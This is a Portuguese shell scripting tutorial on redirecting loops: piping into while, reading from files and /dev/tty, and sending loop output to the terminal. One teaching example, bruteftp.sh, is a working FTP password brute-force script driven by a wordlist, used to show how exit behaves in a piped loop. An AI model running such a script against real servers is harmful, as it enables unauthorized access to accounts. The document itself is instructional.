Redirecionando loops

Lendo o livro "Linux: Programação Shell" (ver Referências) eu aprendi umas formas de usar redirecionamento para loops. Vou tentar passar os esquemas aqui através de exemplos meramente ilustrativos. Vamos a eles, lembrando daqueles conceitos passados capítulo de Entrada e Saída (principalmente sobre o read e sobre os redirecionamentos).

"pipeando" para o while

Vamos imaginar um arquivo onde eu tenho os nomes de alguns amigos meus e a região onde eles moram. Como alguns amigos moram em uma mesma região eu não vou ficar repetindo a região para cada um. Portanto o arquivo fica assim:

#############################
# lista de amigos e estados #
#############################
#
# OBS.: ISSO NÃO É UM SCRIPT!
#
# Linhas que COMEÇAM com '#' serão consideradas
# comentários pelo script "listamigos.sh".
#
# Use da seguinte forma:
# REGIAO        amigo1 amigo2 amigo3 amigoN ...
#

Nordeste        slater nashleon xf eSc2
Sudeste         module hekodangews manalaura blindbard klogd
Sul             evillord emmanuele

Agora veja o script que usará as informações contidas no arquivo amigos.regiao:

#!/bin/bash
# listamigos.sh

# o egrep abaixo vai pegar o arquivo "amigos.regiao"
# sem exibir as linhas que comecem com um caractere '#'
# (considerado comentário) e sem mostrar linhas vazias,
# em seguida vai redirecionar a saída para a entrada do
# read que está lá no while (relembre-se do read no
# tópico 3.2.)
egrep -v "^#|^ *$" amigos.regiao |
while read REGIAO NOMES ; do
	echo -e "\e[1m--> Amigos do $REGIAO:\e[m"
	for amigo in $NOMES ; do
		echo "$amigo"
	done
	echo
done

Deu pra sacar direitinho? Qualquer dúvida é só dar uma olhada nas man pages dos comandos que estão gerando as dúvidas.

Mas a coisa não é tão simples assim... Se dentro do loop você quisesse usar o comando read para ler do teclado, seria necessário pegar a entrada de /dev/tty. Sabendo que o /dev/tty é o terminal que você está usando.

Se você tiver muitos amigos no arquivo amigos.regiao não vai conseguir ver todos, pois a lista não caberá numa tela só. Neste caso, o script a seguir será melhor que o listamigos.sh.

#!/bin/bash
# listamigos2.sh

egrep -v "^#|^ *$" amigos.regiao |
while read REGIAO NOMES ; do
	echo -e "\n\e[32;1m--> Amigos do $REGIAO:\e[m"
	for amigo in $NOMES ; do
		echo -e "\e[1m$amigo\e[m"
	done
	echo -ne "\nEntre  para continuar ou 'sair' para sair: "
	read QUIT < /dev/tty
	[ "$QUIT" = "sair" ] && exit
done

Se quiser comprovar com seus próprios olhos a necessidade de pegar a entrada de /dev/tty é só retirar o < /dev/tty naquele read dentro do loop.

OBS.: Curiosamente o exit dentro de um loop que recebe dados de um pipe funciona como se fosse um break. Pra comprovar isso coloque no final do script listamigos2.sh um echo bla bla bla e quando o script mostrar Entre <ENTER> para continuar ou 'sair' para sair: entre com sair.

Isso ocorre porque durante o "pipeamento" os comandos são executados num subshell (um shell a parte ou shell filho, como preferir), e o exit faz sair deste subshell.

Vejamos um exemplo onde você verá que o exit funciona como o break:

#!/bin/bash
# bruteftp.sh
#
##################################################################
# ***********
# * ATENÇÃO *
# ***********
# Não use este script para atacar servidores remotos! Ele deixará
# arquivos de log imensos! Use-o apenas em localhost (127.0.0.1)
# e veja você mesmo os rastros deixados nos arquivos de log.
##################################################################
#
# Este código é só pra ilustração do texto
# "Programação em Bourne-Agai Shell", OK?
# Na prática mesmo ele não é muito útil.
# Se quiser fazer um ataque de força bruta
# mais eficiente faça em C.
# Veja mais sobre ataques de força bruta em um
# texto que o NashLeon fez em
# 
#

# verifica se o parâmetro passado é um arquivo
[ -f "$1" ] || {
	echo -e "\e[1mErro na passagem de parâmetros\e[m"
	echo "Uso: `basename $0` wordlist"
	exit 1
}

WL="$1"

echo -e " \e[36;1m
------------------------------- \e[37;1m
 ataque de força bruta via ftp \e[36;1m
------------------------------- \e[m
"
read -p "Host: " HOST
read -p "Username: " USER

cat $WL |
while read PASS
do
    # 230 é o número que recebemos quando entramos com sucesso via ftp
    ftp -ivn << EoF | grep "^230" &>/dev/null
open $HOST
user $USER $PASS
bye
EoF

    # $? contém o código de retorno do grep
    [ $? -eq 0 ] && {
	echo -e "\n\e[36;5;1mO ataque foi bem sucedido! \e[m"
	echo -e "Username: \e[1m$USER\e[m\nPassword: \e[1m$PASS\e[m"
	exit 0
	# lembrando que o exit funciona como se fosse break
}

done

# $? contém o mesmo valor não-zero que fez parar o loop acima
[ $? -ne 0 ] && echo "
Você entupiu os arquivos de log por nada, pois o ataque fracassou...
Mais sorte da próxima vez!
"

O "pipeamento" para while também é usado no Mextract.sh (ver Exemplos Variados.

redirecionando de arquivo para while

Agora veremos um arquivo onde eu tenho os telefones de alguns amigos. A disposição das informações dentro do arquivo é um pouco parecida com o amigos.regiao, veja:

#######################
# Agenda de telefones #
#######################
#
# OBS. I: ISSO NÃO É UM SCRIPT!
# OBS. II: os números dos telefones deste
#          arquivo são fictícios, não adianta
#          que não vai dar pra sair passando
#          trote... :-)
#
# Linhas que COMEÇAM com '#' serão consideradas
# comentários pelo script "listartel.sh".
#
# Use da seguinte forma:
# NOME	PREFIXO	TELEFONE
# Com os campos separados por UM ÚNICO .
#
# Exemplo:
# lampiao	12	12345678
# mariabonita	87	87654321

# telefone "dus manu"
xf	45	12431412
slater	98	65451654
minduin	45	54871800
nash	23	65576784
evil	23	54654654
heko	43	56465465
esc2	24	46456456

# telefone "das mina"
emmanuele	87	45646545
maylline	29	65654655
manalaura	82	65416578
erika	65	34245522

Vamos ao script que se utilizará das informações de agenda.tel:

#!/bin/bash
# listartel.sh

TempFile=/tmp/TEMP-$$

# o egrep abaixo vai mostrar o arquivo agenda.tel
# sem exibir as linhas que comecem com um caractere '#'
# (considerado comentário) e sem mostrar linhas vazias.
# redirecionando a saída para $TempFile
egrep -v "^#|^ *$" agenda.tel > $TempFile

while read NOME PRE TEL ; do
	echo -e "Tel de $NOME: ($PRE)$TEL"
done < $TempFile
# esse redirecionamento faz com o que o "read" lá no while
# leia linha por linha do arquivo $TempFile

rm $TempFile

Agora quando você se sentir solitário e quiser conversar com alguém, basta fazer o seguinte:

$ ./listartel.sh | grep emma

Aí é só você ligar pra emmanuele e bater um papo legal com ela. :)

OBS. I: Neste esquema também é necessário pegar os dados de /dev/tty se você quiser usar o read dentro do loop.

OBS. II: Se você usar exit dentro do loop usando este esquema, ele REALMENTE SAIRÁ DO SCRIPT. Não é igual ao esquema anterior onde o while recebe dados de um pipe e o exit funciona como se fosse um break. Então repetindo: neste esquema o exit funciona normalmente!

redirecionando a saída do loop para a tela

Ficou confuso com este título? "Redirecionar a saída do loop para a tela parece ser uma coisa inútil, pois isso acontece todas as vezes." Aí que você se engana! Vamos ao exemplo onde eu mostrarei a utilidade de se redirecionar desta maneira...

Temos um script chamado retornatel.sh que pesquisa o telefone de um determinado amigo (o nome é passado ao script durante sua execução). Agora queremos pegar o telefone deste amigo e armazená-lo numa variável da seguinte maneira:

FONE=`./retornatel.sh`

Só que, como veremos no script a seguir, a saída do script não é somente o número do telefone. Existe uma interface com o usuário perguntando qual o nome a ser pesquisado. Veja o script:

#!/bin/bash
# retornatel.sh
# tá bom, tá bom... eu sei que não é um exemplo muito útil...
# é só pra ilustrar a utilidade de redirecionar a saída do loop

FILE=agenda.tel

function gotoxy {
	[ $# -ne 2 ] && {
		echo gotoxy: Erro na passagem de parâmetros
		echo Uso: gotoxy X Y
		exit 1
	}
	echo -ne "\e[$1;$2H"
}

while true; do
	clear
	gotoxy 5 1
	read -p "Nome a ser pesquisado ('sair' para sair): " NOME
	[ "X$NOME" = Xsair ] && exit
	if grep "$NOME" $FILE &>/dev/null ; then
		break
	else
		gotoxy 10 15
		echo Nenhum $NOME foi encontrado em $FILE.
		read -p "Pressione  para continuar..."
	fi
done > /dev/tty

grep "^$NOME" $FILE | cut -f3

Olha o /dev/tty aí de novo! :P

Redirecionando a saída de todo o loop para /dev/tty, fará com que os dados impressos para fazer a interface com o usuário não sejam enviados para a saída padrão e por conseguinte não sejam enviados para a variável que está recebendo o número através do método

variavel=`programa`

Desta maneira, se você quer armazenar o telefone do xf na variável XFTEL, faça o seguinte:

XFTEL=`./retornatel.sh`

E então pesquise por xf. Depois é só usar

echo $XFTEL

para ver o telefone do cara.

Experimente usar o script sem este redirecionamento e pegar o telefone do xf desta maneira que expliquei para apreciar os resultados bizarros...

results matching ""

    No results matching ""